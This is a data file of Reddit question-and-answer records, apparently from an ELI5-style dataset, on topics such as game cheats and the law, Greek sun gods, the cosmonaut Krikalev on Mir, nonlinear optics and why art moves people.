{"q_id": "18i8k6", "title": "why can't game developers take legal action against websites that provide hacks/cheats for their games?", "selftext": "Might be a stupid question but I'd just like to know the reason why this never happens.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18i8k6/eli5_why_cant_game_developers_take_legal_action/", "answers": {"a_id": ["c8f0yhh", "c8f0yqs", "c8f2d6u", "c8f2hd0", "c8f3fgh", "c8f46ay"], "score": [4, 21, 2, 7, 8, 2], "text": ["Because it's not illegal", "Because it isn't illegal. If you're actually using them to hack someone's server, that may be illegal depending on laws where you live, but just using them on your own isn't. The same reason why it's legal to freely publish \"security testing\" (network penetration) tools - as long as there's a disclaimer saying \"You probably shouldn't use this to test networks whose administration didn't give you express permission\", there's nothing wrong about it.", "Why would they?", "They write in the cheats for people to use. Why would they stop a website that lists them?", "Cheat codes are put into games intentionally by developers.  Usually they either want them to be well know or want people to search for them, and share them with others when they find a hidden code.\n\nHacking a game you own generally isn't illegal, unless you are circumventing a digital lock in some countries, which is another debate.\n\nAnd in general, anything that makes you enjoy your game more is good for a gaming company, as it means you are more likely to buy a game made by them in the future.", "They have done so in the past; look up Blizzard vs MDY (maker of Glider bot)\n\nMost likely, the following has to be true:\n1. The hack causes the company financial loss\n2. The owner of the hack/site has enough money to justify suing them for damages\n\nIf the hack was something harmless (e.g. Godmode in single player), they probably won't care."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2spclz", "title": "Is it possible to graph 4 variables on one graph?", "selftext": "On a 2d graph, you can graph 2 variables and you get a line. On a 3d graph, you can graph 3 variables and you get a surface. Is it possible with a \"4d\" graph, you can graph 4 variables and get some other visualization?\n\nThis may be stupid, but it just popped into my head.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2spclz/is_it_possible_to_graph_4_variables_on_one_graph/", "answers": {"a_id": ["cnrvjdb"], "score": [28], "text": ["One nice way of graphing an additional degree of freedom is to use a colour scale and colour your graph according to the value of that last variable. I used this a lot in my dissertation by graphing 3D plots (a surface) without actually rendering anything in 3D, just by using a top-down flat view of a coloured image.\n\nOften, complex functions of complex variables are graphed using hue for the argument (angle) and lightness for magnitude. Then you get things like [this](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/6/61/Complex_gamma.jpg"]]}
{"q_id": "2jq5jt", "title": "Why does the Greek religion contain both Helios and Apollo, two deities with very similar functions? Is one god older than the other?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jq5jt/why_does_the_greek_religion_contain_both_helios/", "answers": {"a_id": ["cle1opn"], "score": [18], "text": ["Apollon actually wasn't considered a sun god in Ancient Greece until much later. Him being worshiped as a sun god came from later Roman influence, most likely them syncretizing him with an older Etruscan god that had a similar function. Apollon in Ancient Greece was actually worshiped as a god of music, health and divination, whereas Helios was god of the sun. \n\nYou can see more at [here for Apollo](_URL_0_) and [here for Helios](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.theoi.com/Olympios/Apollon.html", "http://www.theoi.com/Titan/Helios.html"]]}
{"q_id": "4z7n63", "title": "What is the most appropriate name to refer to people who were ethnically/religiously Jewish during the time of Roman occupation of Judea in the first century CE?", "selftext": "I am looking for the appropriate name(s) for people living in the Roman province of Judea during the first century CE who were ethnically, culturally, and religiously Jewish.\n\nWhat name(s) did they use for themselves? What name(s) did the Romans have for them? What other names were associated with them? (preferably in Latin/Aramaic/Hebrew or other regional languages at that time)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4z7n63/what_is_the_most_appropriate_name_to_refer_to/", "answers": {"a_id": ["d6tk6jw"], "score": [4], "text": ["Historians generally call them \"Judeans.\" The word \"Judaioi,\" which is what they were called at the time in Greek, eventually came to mean \"Jews,\" so some historians say \"Jews\" for the first century too. This is supported by the fact that they used the same word for people whose ancestors were from Judea but who were living in, say, Alexandria, or somewhere else in the empire. But if you're talking about the ones who live in Judea, Judean is probably a safer translation.\n\nThe people themselves, when they were speaking Hebrew, generally used \"Yisrael\" (Israel)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51wiav", "title": "why does \"slim chance\" have greater chance of happening than \"fat chance\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/51wiav/eli5_why_does_slim_chance_have_greater_chance_of/", "answers": {"a_id": ["d7ffrrz"], "score": [15], "text": ["Because the phrase 'slim chance' is meant to be taken at face value - i.e. there is a chance but it's not a very big one. Whereas the phrase 'fat chance' is sarcastic, meaning the opposite of what it says. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "t7q62", "title": "why are the united states' coins and canada's coins basically the same size, shape, and color?  what happened that the two countries decided this would be a good idea?", "selftext": "I have Googled this and can't find a reason.  I would love to know.  Help!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/t7q62/eli5_why_are_the_united_states_coins_and_canadas/", "answers": {"a_id": ["c4kak2h"], "score": [14], "text": ["This is pure conjecture, but perhaps it is a relic of past times when the value of a coin was tied to the value of the metal used to make it.\n\nGold is the most valuable, so you could have a $5, $10, $20, etc coin, with the value determined by how much gold is in it.\n\nSilver is less valuable, and in the US, quarters were silver until 1965.\n\nFor the smaller denominations, nickel or copper are used, these being metals of even lesser value.\n\nI would imagine a couple hundred years ago when the US and Canada started making their coins, the amount and type of metal used to make a coin of a certain value would have been similar, so the size, shape and color of each coin is the same.\n\nNow that it's all fiat money anyway, all the coins are made with less valuable materials, but the basic design of each coin has remained the same."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "58xr64", "title": "How did the cosmonauts aboard Mir react to the break up of the Soviet Union?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/58xr64/how_did_the_cosmonauts_aboard_mir_react_to_the/", "answers": {"a_id": ["d947bzy", "d948teu", "d9495z3", "d94oref"], "score": [81, 88, 2433, 14], "text": ["Hello everyone, \n\nIn this thread, there have been a large number of incorrect, speculative, or otherwise disallowed comments, including many asking about the deleted comments, which merely compounds the issue. As such, they were removed by the mod-team. Please, before you attempt to answer the question, keep in mind [our rules](_URL_1_) concerning in-depth and comprehensive responses. Answers that do not meet the standards we ask for will be removed, and posters admonished as applicable.\n\n~~This thread is trending high in the subreddit, but those upvotes represent interest in the question itself, and it can often take time for a good answer to be written. We know that it can be frustrating to come in here from your front page and see only *[removed]* and this post, but we ask for your patience and understanding. If you are looking for some interesting content in the mean time, we hope you will check out our [Twitter](_URL_0_), the [Sunday Digest](_URL_6_), or the [Monthly \"Best Of\"](_URL_8_) feature. It is very rare that a decent answer doesn't result in due time, so please do come check into the thread in a few hours. A [Private Message](_URL_4_!) to the [Remind Me bot](_URL_3_) is a good way to remember.~~ [There is a very nice answer now, patience pays off!](_URL_5_)\n\nAdditionally, it is unfair to the OP to further derail this thread with off topic conversation, so if anyone has further questions or concerns, I would ask that they be directed to [modmail](_URL_2_), or a [META thread](_URL_7_[META]). Thank you!", "followup question. are there any examples of Soviet citizens abroad (different countries, outer space, deep cover spy, etc) who reacted.....I guess poorly? or were in denial when the Soviet Union broke up?", "Cosmonaut Sergei Krikalev was the man most affected. He was sent aboard the *Mir* station as a Soviet cosmonaut 3rd Class, and, after 313 days up there, the then 34 year old flight engineer returned to Earth to a very different political structure at home than when he had left. Even his hometown, once called Leningrad when he left Earth, was upon his return now called St. Petersburg.\n\nKrikalev was actually stranded aboard *Mir* for a period. He was supposed to come home about four months earlier than he did, but due to Russian financial issues and political battling between Russia and Kazakhstan (where the former USSR's Baikonur Cosmodrome was located, as well as where the capsule touchdown location was), he was forced to stick around aboard the station for much longer than anticipated. \n\nThere is a great documentary film that actually covers Krikalev's experience. It is called [*\"Out Of The Present\"*](_URL_0_). In the film, it seems that Krikalev tried to be largely unaffected by the breakup of the USSR, and instead sunk himself into focusing on the more \"mundane\" tasks of keeping the station functioning, doing repair work and some science to occupy his time between sleep/eat periods, as well as watching the Earth pass below him as he orbited our planet at 240 miles altitude every 92 minutes. At one point in the film, a Russian journalist, via radio uplink, asks Krikalev how he felt about the (political) changes on the ground and what he considers to be most impressive about them, Krikalev initially answers by offering a non-response, saying he \"did not understand the question\" (though it seems he clearly did). After being prodded further by the journalist, he finally and rather cryptically comments on how he thinks \"darkness has just turned to light\". He left himself an 'out' with that answer, as it was unknown whether he was making a political statement or rather was just referring to the fact that *Mir* had just passed through orbital sunrise at that time. ;) He then continued by saying *\"Winter has come, and before it was summer. Now, it\u2019s beginning to bloom again. That\u2019s the most impressive change you can see from space\u201d*.\n\nKeep in mind that Krikalev was sequestered away on *Mir* during the Soviet breakup, orbiting our planet 16 times a day, with Mission Control being his only real source of news (though he was allowed to talk to his wife Lena once a week or so via radio), so he faced a lot of censorship issues where he was not told the full, complete story of what was happening. He was informed of the coup attempts and breakup of his former USSR of course, but many of the political issues that affected his flight were largely kept from him or at least downplayed heavily, including the fact that the team at Mission Control had threatened to go on strike because they had not been paid in months and there was no money to pay for resupply missions or to send a replacement crew up and to bring him home. According to Sergei, his biggest personal worry while on orbit aboard *Mir* during this period was on how his family was coping with the turmoil back home. Krikalev's salary at the time was a rather paltry 500 rubles a month, so he did make comments to MCC and questioned his wife over the radio concerning how his family was managing financially. Considering the fact that the ruble's value had plummeted after the breakup, he wanted to ensure his loved ones were taken care of while he was away from Earth, which was something that was of course decidedly out of his hands and caused him considerable stress. Politically though, he recognized that he would just have to ride things out and play a game of \"hurry up and wait\" until the powers that be figured out what to do with him and the space station he occupied.  \n\nBack home, Krikalev was actually dubbed by Russian newspapers as \"The Man Who Is Sick of Flying\", and they also called him \"The Last Soviet Citizen\". It became clear he just wanted to come home as soon as was technically, financially, and politically possible. It was becoming clear to Sergei that he was being treated as an unwitting political pawn between the new Russia and Kazakhstan - as Russia relied on the Kazakh's heavily since their former Soviet space launch facilities were located there. This political issue regarding how much a new independent Kazakhstan was demanding to be paid versus how much Russia was willing to pay was serving to delay his return to Earth, as well as delaying resupply missions being sent to him aboard *Mir*, but he recognized that there was little he could do about it, other than just do his job as professionally as possible (which by all accounts he most certainly did), and sit and wait for the politicians to sort things out on Earth.  \n\nI would highly recommend you watch the documentary *\"Out Of The Present\"* if you can, as it gives a fairly decent look at the way the breakup of the USSR affected both the *Mir* program and cosmonaut Krikalev specifically. You can watch it online I believe, though I can't/won't post the direct links here, as I am unsure of the protocol/legality on that. Google is your friend though!\n\nIncidentally, Krikalev's *Mir* flight would not be his last journey to space. He later flew aboard the US space shuttle twice on missions STS-60 and STS-88, and also flew to the ISS twice as well, on Expedition #1 and Expedition #11 (in which he was station Commander, spending six months aboard). He has flown in space six times, and has a flight log cumulative total of 803 days, 9 hours, and 39 minutes in space. The dude is a real Russian \"Top Gun\" cosmonaut, and currently is the Vice-President of *RSC Energia*, which is the prime contractor for Russia's manned spaceflight program. By all accounts, he handled the news of the breakup of the USSR very professionally, with his primary focus being on ensuring the safety of his family and doing all he could from space to make sure they were not suffering too badly and had food on the table while he was away.  \n\n  ", "As a follow up, how many cosmonauts have been to both Mir and the ISS?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://twitter.com/askhistorians", "http://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "https://www.reddit.com/r/AskHistorians/comments/58xr64/how_did_the_cosmonauts_aboard_mir_react_to_the/d9495z3/", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=", "https://www.reddit.com/r/AskHistorians/wiki/bestof"], [], ["http://www.imdb.com/title/tt0123211/"], []]}
{"q_id": "1de2jn", "title": "A couple of questions about the history of sexual morality.", "selftext": "In the Western tradition, I have found that both the Christian and Jewish faiths have theological discussions about what ways are \"proper\" to have sex.\n\nAs such, my questions are: \nDoes this sort of thing even appear in other cultures? \n\nWhen did this show up? Is it immeasurably ancient or a reasonably recent invention?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1de2jn/a_couple_of_questions_about_the_history_of_sexual/", "answers": {"a_id": ["c9pior5"], "score": [2], "text": ["_URL_1_\n\nIn classical Athens, the best woman was one that was not spoken about, thus preserving her innocence and her chastity. If there is no rumour about her, she is virtuous and thus a \"good\" homely woman.\n\nYou should be careful marking \"Christian\" as a catch-all. If you're talking about the penitentials and the middle ages, there was nothing other than \"the church\", protestantism had yet to even be a blip on the radar, that did not occur until the end of the middle ages into renaissance era.\n\nIf you're looking for more information about classical times, Terry Ryan and Marguerite Johnston have co-written a brilliant book about sexuality in antiquity.  \n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com.au/books/about/Sexuality_in_Greek_and_Roman_Society_and.html?id=HhjWNd2R1F8C&amp;redir_esc=y", "http://en.wikipedia.org/wiki/Women_in_Classical_Athens"]]}
{"q_id": "esh7y8", "title": "Any good books on King Charles II of Spain?", "selftext": "Hi! New to this subreddit and I was just curious if anyone\u2019s stumbled on detailed accounts of the life of Charles II, you know, the super inbred king who died childless and ended the Spanish dynasty. He\u2019s such a fascinating character to me, particularly because I feel a lot of sympathy for the man. What a rough life.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/esh7y8/any_good_books_on_king_charles_ii_of_spain/", "answers": {"a_id": ["ffq38h3"], "score": [2], "text": ["I'd recommend [The resilience of the spanish monarchy 1665-1700](_URL_0_) , I shines a more sympathetic light on Charles efforts to keep the empire together on what is often considered the time of greatest decline of Spain's power. It focuses on Charles II and his ministers, so if you are looking for something more biographic I'd go somewhere else."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.oxfordscholarship.com/view/10.1093/acprof:oso/9780199246373.001.0001/acprof-9780199246373"]]}
{"q_id": "e5c3aa", "title": "Can you cross the beams of a uv laser and an infrared laser to make visible light?", "selftext": "The underlying reason I was thinking about this is that I vaguely recall when I was taking an acoustics class in college that there was a concept of two soundwaves of different frequencies overlapping and creating another frequency. I am likely getting that part wrong, but whatever the concept was it made me wonder if the same could be true for light.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e5c3aa/can_you_cross_the_beams_of_a_uv_laser_and_an/", "answers": {"a_id": ["f9j18w7", "f9ji730", "f9jjnrw", "f9jkww2", "f9jwbw9", "f9lc4mc"], "score": [1740, 31, 13, 7, 79, 2], "text": ["Yes, what you describe is possible through a process called difference sum generation. The idea is that if you pass two beams through special types of matter, one at a frequency f1 and another at f2 you can produce a beam at a frequency f3 given by:\n\nf3=f1-f2.\n\nThe process is roughly shown in [this diagram.](_URL_2_) A slightly more famous cousin of this effect is where the frequencies add up (such that f3=f1+f2), called [sum frequency generation](_URL_0_). The latter effect is apparently more famous to get its own Wiki article, but the physics is very similar. \n\nThe reason you need to pass the beams through matter is that this effect is non-linear. Normally two light waves passing passed each other absolutely would not give a fuck that the other was there. In more sciency terms we would say that the cross-section for non-linear interactions was very low. But in certain types of materials these effects get rather probable. \n\nTo get back to your original question though, yes this effect has an analogue in acoustics called [beating](_URL_1_). While the physical mechanism is a bit different when talking about sound waves and light, some aspects stay the same, e.g. the fact that the effect kicks in at the difference in frequency of the two interacting waves.", "Everyones talking about DFG. Based on OP's post my understanding of the question is can two streams of a laser cross (no specific medium to interact with) to produce something different than the original two, so simply interference. \n\nI know if you shine a red and blue laser at the same spot on a white wall, they will reflect magenta. However the two beams will not interact like that in free space. I could be wrong, but I assume that if you \"cross the beams of a UV laser and an infrared laser\" (in open space) they will not produce visible light until they have a surface or medium to interact on.", "Think about it this way, when you hit your tv remote, it sends a beam of infrared light out. If you do this in sun light, uv rays would intersect the infrared beam. You don't see a cool laser show of rainbow awesomeness when you do this, so no, the uv sun rays dont interact with infrared rays to create visible light.", "There's two parts to this problem, the first being whether or not you can apply the concept of acoustic beats to EM waves, and the second being, if you can, can humans perceive the lower frequency as being a new shade of color.\n\nIf we limit ourselves to only pure tones (sine waves) for both sound and light, then I believe acoustic beats would indeed happen with light (note: I am not saying that we could *perceive* them, but that you would get the same shape of wave). This is because of the superposition principle, the idea that you can simply add the intensity of two EM waves to get the resulting wave. A consequence of the superposition principle is that waves don't interact with each other i.e. they're independent. \n\nThe superposition principle holds for acoustics as well, meaning that the waves don't interact. So how can two new frequencies come about if the waves don't interact? It's because two sine waves of differing frequencies, when added together, are mathematically equivalent to a sine wave with a *higher* frequency that varies in *volume* at a lower frequency (see the wikipedia page for beats (acoustics)). This is NOT the same as two new waves being formed with these two new frequencies, it's actually that a new higher frequency wave results that is *multiplied* (not added with) the lower frequency wave (this can also be stated as the lower frequency wave being multiplied by the higher frequency one). This is due purely to the math and requires just no direct interaction, and no human perception. So I believe the answer to the first part of the problem is that yes, you will get an EM wave with the same shape as an acoustic wave corresponding to acoustic beats because the math is the same, so now we can focus on whether or not we can perceive it.\n\nFor the second part, I honestly don't have an answer, but I will tell you what I know to hopefully create some discussion to figure out the answer.\n\nOur ears work through Fourier decomposition (imagine graphing intensity vs. frequency), but despite that, we will still hear a beat tone if two sine waves are close enough in frequency. Once they're farther apart, we hear the two tones independently, which corresponds to the equivalent Fourier decomposition of two spikes, one at each frequency of the two sound sources. So even for acoustics, the answer to whether or not we perceive the beat frequency can be either yes or no, even when the beat frequency in question is in the audible range!\n\nAs for light, the cones in our eyes work completely differently, with each type of cone having its own frequency response, with a given cone (red, green, or blue) being able to react to a large frequency of visible light spanning multiple colors. We perceive color through the brain interpreting the differing intensities of light hitting each cone, meaning that you can perceive yellow both from a pure yellow wave as well as from a combination of red and green added together. In the case of red + green, the lower beat frequency is in the infrared range (roughly 25-100Thz), and the upper beat frequency is in the yellow to orange range (being the average of the two) so the fact that we see yellow is purely based on the ratios of how much each of the three cone types is firing and NOT due to EM beats.\n\nAs you suggested in your question, OP, combining UV and infrared light of the right frequencies would indeed produce light with a lower beat frequency in the visible spectrum, and I would be extremely interested to know if this beating can be picked up by our eyes.", "No! Not without a nonlinear medium. Light obeys a series of decoupled Maxwell equations in free space. Each frequency of light obeys one equation and they cannot beat or add frequencies without some material (a nonlinear element such as certain crystals) which can couple different frequencies.\n\nSource: PhD candidate in Physics", "Yes, I actually did this last week. By crossing 375 nm (UV) and 800 nm (IR) beams in a BBO, I generated 709 nm light (red). This let me characterize the duration of the 375 nm pulse in a procedure called cross-correlation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Sum-frequency_generation", "https://en.wikipedia.org/wiki/Beat_(acoustics\\)", "https://i.imgur.com/O6FY7FM.png"], [], [], [], [], []]}
{"q_id": "3cy3nf", "title": "Would a snowglobe's snow ever settle in microgravity conditions?", "selftext": "You can assume it is 4\" diameter snowglobe, except it wouldn't need a stand.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cy3nf/would_a_snowglobes_snow_ever_settle_in/", "answers": {"a_id": ["ct02stc"], "score": [3], "text": ["Is this a homework question?\n\nI would say it depends on the temperature it's at. You get random motion of molecules at any given temperature. The higher the temperature, the faster the motion. If gravity is really low, the noise of random movement will eclipse any effect microgravity has."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1z3wxw", "title": "What was the international reaction to the Tlatelolco Massacre in Mexico city in 1968?", "selftext": "A couple of months ago I read the book by Elena Poniatowska, The Night of Tlatelolco, and up to that point I had never linked the Olympic games with the 1968 protests, but seeing as it happened merely days before the games started I can\u00b4t see how would the government have managed to silence the whole thing and keep all the international media, who were already there, out of it.\n\nNow we know the official version was a lie, but was it questioned outside of Mexico back then?\n\nThank you.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1z3wxw/what_was_the_international_reaction_to_the/", "answers": {"a_id": ["cfwaqwe"], "score": [2], "text": ["Im surprised i haven't seen comments in this thread, anyways im a Mexican myself and my dad was about 14 when it happened, he usually tells me that since the Olympics were 10 days after the massacre, most of the world was focused on the athletes, also, the goverment made sure to make the massacre look like it was done by the students, not by the police itself, so most countries just was it as a riot between students rather than a massacre, My english is not perfect but i hope that clears it up for you:)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1d3tuw", "title": "Has there even been a 'mad scientist' that tried to destroy the world?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1d3tuw/has_there_even_been_a_mad_scientist_that_tried_to/", "answers": {"a_id": ["c9morbg", "c9n18z6", "c9n35ud"], "score": [66, 7, 2], "text": ["Not intentionally I hope! While I have no doubt there might have been many people who aspired to it, the reality is that destroying the world has never been a realistic option for any scientist in any age.\n\nThe problem for any potential mad scientist with an eschatological bent would be two-fold:\n\n* The state of science (although I'm thinking only of Physics in particular here) has to have reached the point where it can be exploited to produce truly destructive weapons.\n\n* The mad scientist has to have the resources to design and create weapons based on the theoretical principles of science. \n\nOn the first point, any potentially world-ending weapons cannot be conceived of before Einstein's [*Annus Mirabilis*](_URL_3_). This is for the simple reason that these papers demonstrated the equivalency of energy and matter. Any weapon that your mad scientist would use would require a lot of energy- you want to destroy a lot, you need to expend a lot of energy. Before Einstein, if you wanted to get a lot of energy, you needed to use chemical reactions, and that means you're not a mad scientist, you're just a guy with a *lot* of TNT. The only feasible way of constructing a weapon of apocalyptic destruction is to use the energy contained in matter itself- not a chemical reaction, but a nuclear one. \nActually, if we're being precise, nuclear fission reactions liberate the energy required to bind nucleons together in an atom, by splitting a very heavy atom like Uranium into two lighter ones. The combined mass of the two lighter atoms is slightly less than your original atom, and the lost mass is converted into energy... destructive energy! The way this binding energy depends on the mass of the atom can be seen in this [graph](_URL_1_).\n\n\nThis pretty much eliminates the possibility of any mad scientist being able to do anything special before the twentieth century. Having said that, I think honourable mention has to go to Nikola Tesla.\n\n This man was the Serbian wizard of electromagnetism, and certainly fits the 'mad scientist' part of your question. His achievements involved helping to develop an AC current system (and then getting buried by Edison for having the audacity to compete with him), and theoretical contributions that led to radio. This work eventually led him to the idea of [wireless power transmission](_URL_2_). (Interestingly, he was absolutely right about this- when you set up a circuit, all the wires are doing is setting up a guiding field for the energy to travel wirelessly from the source, as the [Poynting Vector](_URL_0_) shows.) The mad part of Tesla was his dreaming up of things like the  [teleforce](_URL_4_). This was a death ray. No joke. In fact, he even claimed to have built it:\n >   \"But it is not an experiment... I have built, demonstrated and used it. Only a little time will pass before I can give it to the world.\"\n\n\nThere's a lot of other stuff that's been said about Tesla, but the truth of it seems a little spurious. Among other things, that he was able to create a device with the same resonant frequency as the Earth to cause an earthquake  in New York, and that his experiments into electrodynamics were what caused the Tunguska event. From a physics perspective, these seem to be wild exaggerations at best. We wouldn't be able to do that today, let alone in the nineteenth century. Having said that though... He *was* the Serbian wizard.\n\n\n\nThe second problem for our mad scientist is potentially more interesting, because the resources of science have changed a lot in the last century. After the second world war, the world woke up to the fact that if you throw money at a load of extremely talented scientists, they will create a weapon that can end the world. The problem is it takes a *lot* of money. Just going to the Wikipedia page of the Manhattan project tells me it cost over $26 billion in today's money. So while it's technically possible for a mad scientist to build a world-destroying weapon after 1905, it has a price tag only a global superpower can afford. \n\n\n\nThis is particularly interesting, because the concept of a scientist as we know it is largely the product of the twentieth century. The people working on the Manhattan Project were professional scientists, and in that sense it was the forerunner to the \"Big Science\" projects you see now like the LHC at CERN. The kind of people working on these projects might have some portion of the technical expertise required, but it would be impossible for them to have all of it, or the resources required to put their ideas into reality!\n\n\n\nIf we go back to an earlier period in physics however- let's say from the seventeenth to the nineteenth century- the situation was very different. A scientist was a gentleman of leisure, and pursued science because they had independent means already. My favourite example of this is [Henry Cavendish](_URL_5_). Not only was he a brilliant physicist who managed to do everything from discovering hydrogen to measuring the gravitational constant G, but he was probably the *richest man in England*. (I'm also fond of him because my better half is a close a living relation as you can get to him!)\n\nThe point is, a man like Henry Cavendish, had he wanted to destroy the world, might have had the kind of material resources necessary to do it. The problem is that until the twentieth century, there is no way of exploiting nature(\"doing science\") that would let him do that. By that point scientists are by-and-large working professionals and the kind of project that does let you build world-destroying weapons costs the earth!\n\n\nI hope this sort-of answers your questions. I appreciate this might be less history and more hand-wavey physics, but it seems to me the clearest possible way of establishing that no one has ever had the opportunity to become the kind of mad scientist you're thinking of. \n\nHaving said that, if you are interested in knowing more about any of the physics-type stuff I've mentioned, send me a pm and I'll be happy to give you a fuller explanation.\n\n\n\n**TL;DR** There has never been a point in history where both the prerequisite technical expertise and material resources have been available for any individual, deranged or not, to destroy the world.", "The Aum Shinrikyo movement in Japan comes to mind. This was a religious cult that recruited, among others, scientists and engineers who were then directed to manufacture poison gas (Sarin), which the group then tested on sheep in Australia and then intentionally released in two separate attacks in Japan in 1994 and 1995, killing twenty-one and injuring hundreds.", "Might be a bit recent for this subreddit, but definitely a good answer for OP's question. [Dr Abdul Qadeer Khan](_URL_0_) is a Pakistani nuclear scientist that started Pakistan's nuclear weapons program and also helped to develop the nuclear weapons programs of Iran, Libya, and North Korea. He somehow got it into his head that because Mutually Assured Destruction prevented war between the US and USSR, then if every country has nuclear weapons, there will never be any war. He is responsible for all the nuclear material that has been on the black market for the past 20 years (most of it has been recovered by states that bought it then ended up giving up their nuclear programs under international pressure). In 2003-2004, there was a huge scandal when his activities were revealed to the world by Libya. He is currently confined to Pakistan and received a pardon by the Pakistani government. He is still wanted for questioning by the US and IAEA. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britannica.com/EBchecked/topic/473461/Poynting-vector", "http://hyperphysics.phy-astr.gsu.edu/hbase/nucene/imgnuk/bcurv.gif", "http://www.tfcbooks.com/articles/tws8c.htm", "http://users.physik.fu-berlin.de/~kleinert/files/", "http://www.teslauniverse.com/nikola-tesla-books-tesla-teleforce-and-telegeodynamics-by-nikola-tesla", "http://en.wikipedia.org/wiki/Henry_Cavendish"], [], ["http://en.wikipedia.org/wiki/Aq_khan"]]}
{"q_id": "6mdsvs", "title": "why do we have the capacity to feel 'moved' by extraordinary art/music/literature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mdsvs/eli5_why_do_we_have_the_capacity_to_feel_moved_by/", "answers": {"a_id": ["dk0y4ar", "dk0yjpt", "dk14qvm", "dk14vt9", "dk15577", "dk16fmp", "dk17hnk", "dk18mx8", "dk19gpt", "dk1c36j", "dk1f1cg", "dk1hagj", "dk1rl3g", "dk1ss03", "dk212tr"], "score": [3422, 5, 6, 176, 26, 63, 38, 2, 53, 3, 2, 2, 3, 2, 2], "text": ["The popular answer is the evolutionary one--that emotions have helped us survive. When we lived in the wild--with monkeys and mastodons and tigers--we needed emotions in order to react quickly to dangerous stimuli. If faced with a tiger, it's better to be rocked with a fear so strong it triggers a rush of blood than to sit around and theorize about the threat. We developed an emotional system because it could induce quick responses to danger.\n  \nOther emotions work the same. Humans are rather clever animals. We've managed to teach ourselves how to express ideas through written words, as well as emotions through art and music. Think about that for a minute. Through our art and music, the emotion felt by an artist may be encoded through color, shadow and harmony to be decoded and experienced by an observer or listener. That is arguably one of humanity's greatest accomplishments. \n  \nAnd yet, despite the apparent ease with which artists or musicians can create a work that unlocks emotions in the audience, **we have no idea how it does such an amazing thing. We do know that emotions may be expressed in art -- and that humans can readily recognize them.**\n\nAs with music -  Jordan Peterson explained this pretty well in one of his lectures.\n   \nWe want meaning in our lives. Life is a balance between order and chaos and we don't take too well to chaos but it can be overcome and made into order, making us feel accomplished and life meaningful. Music mimics this process. It's highly ordered and miraculous. He claims even the most nihilistic of us like music because of this reason. It generates meaning. People on psychedelics often say they really understand and can see the structure of music way differently than the normal waking state. Haven't done them though so can't comment.\n  \nMore details :\n  \nMusic is processed by the auditory system in the brain, just like verbal information (speaking). The auditory system is connected to the limbic system, the part of the brain responsible for emotion processing. Music can, just like verbal information, activate the entire limbic system and thus stimulate an emotional response if it's suitable for the situation (context processing is also important in stimulating an emotional response).\n   \nThe same goes to other sensory perceptions - vision can also stimulate an emotional response, for example art paintings. Smell is unique in the sense (pun unintended) that smell information travels directly to its cortex in the brain, unlike the other sensory information that first passes through a relay station (the thalamus), and is tightly connected to the hippocampus (responsible for memory formation, context and emotion processing). Smell can thus trigger very profound memory recall to specific situations\n  \n__________________________________________________________________________________________________________\n  \n[Source 1](_URL_0_)\n  \n[Source 2](_URL_1_)", "A flight/flight response is a bit different than being brought to tears by a piece of art or feeling emboldened by a song. Throw in the fact that different people can have wildly different emotional responses to the same thing and it gets even harder to explain. ", "It's the theory of aesthetics and the sublime. When we feel moved, it's a feeling of sublimity. Art and nature have an ability to sway our emotions towards bliss, making time appear to almost stand still. Nothing matters, and as humans, we feel in this moment that we aren't victim to time and death. Through this, we're infinite.", "I read an interesting dissertation a while back about this effect in music.  The idea was that music impacts us on a lot of different levels at once.  On the physical level, studies have shown that your heartbeat responds to the beat of music, which in turn influences your mood/excitation.  On the social level, we are taught from a very young age to interpret certain sounds certain ways.  For example, many Americans interpret music in minor keys as \"sad.\"  There is also the 